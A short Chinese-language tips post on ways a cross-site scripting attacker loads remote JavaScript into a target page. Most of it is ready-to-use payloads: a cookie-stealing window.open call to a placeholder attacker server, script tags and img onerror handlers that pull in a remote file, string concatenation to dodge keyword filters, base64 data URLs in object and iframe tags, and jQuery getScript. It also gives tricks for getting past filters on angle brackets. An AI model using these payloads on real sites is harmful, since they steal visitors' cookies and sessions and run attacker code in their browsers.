xss如何加载远程js的一些tips

<script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</script>

将 cookie之类的数据传递到自己的服务端
但是 如果要更为复杂的攻击的话,由于字符串长度等限制 需要加载远程js来实现。

一个简单的例子

<script src=http://xxx.xxx/a.js></script>

这样更为简洁

<script src=//xxx.xxx/a.js></script>

src属性会自己取当前页面的协议
过滤了 <>的话,有时候可以用 %bf u003cu 等来绕过。

对于可以执行js的属性,如果可以控制其内容,可以基于DOM的方法创建和插入节点调用js

<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>

不要忘记 autofocus无须交互即可执行js。

<input autofocus="" onfocus="........" />

过滤了 script ‘ create 等关键字的话,各种编码绕过即可,参考:http://drops.wooyun.org/tips/689

或者用String.fromCharCode 函数转换成 asc码,但是string.fromcharcode 太长了,在同一个页面,可控多个输出的时候, 可以对全局变量 进行多次赋值,例子:

<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.shell'</script>
<script>z=z+'.net/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval_r(z)</script>

我们也可以用data url 来加载:

<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></object>
<iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></iframe>

PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4= 是如下的base64值。

<script src=http://xxx.xxx/a.js></script>

支持data url 的标签还有

<anchor><img> <a>(需点击) <meta>.....

需注意的是<img>里的 data url 是不允许执行js的。

还有, ie8 以下浏览器是不支持 data url的。IE8 data URL 最大长度限制为32k字节,超出无效。IE9+没有这个限制 ie不支持对<frame>标签的src设置data URL

有时候 我们可以直接调用javascript框架的函数 来实现一些功能。比如, 支持 jquery的话(通过查看源代码,可以看出是否支持)
我们直接这样调用就可以了

$.getScript("//xxx.xxx/a.js");
jQuery.getScript.getScript("//xxx.xxx/a.js");//过滤了$时

总结:<4中代表方法>

  1. 1、<script src=//xxx.xxx/a.js></script>
  2. 2、<img src=x onerror=document.body.appendChild(document.createElement('script')).src='//xxx.xxx/a.js'>
  3. 3、<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3h4eC54eHgvYS5qcz48L3NjcmlwdD4="></object>
  4. 4$.getScript("//xxx.xxx/a.js");
利用应用自带的一些函数,见其他XSS实例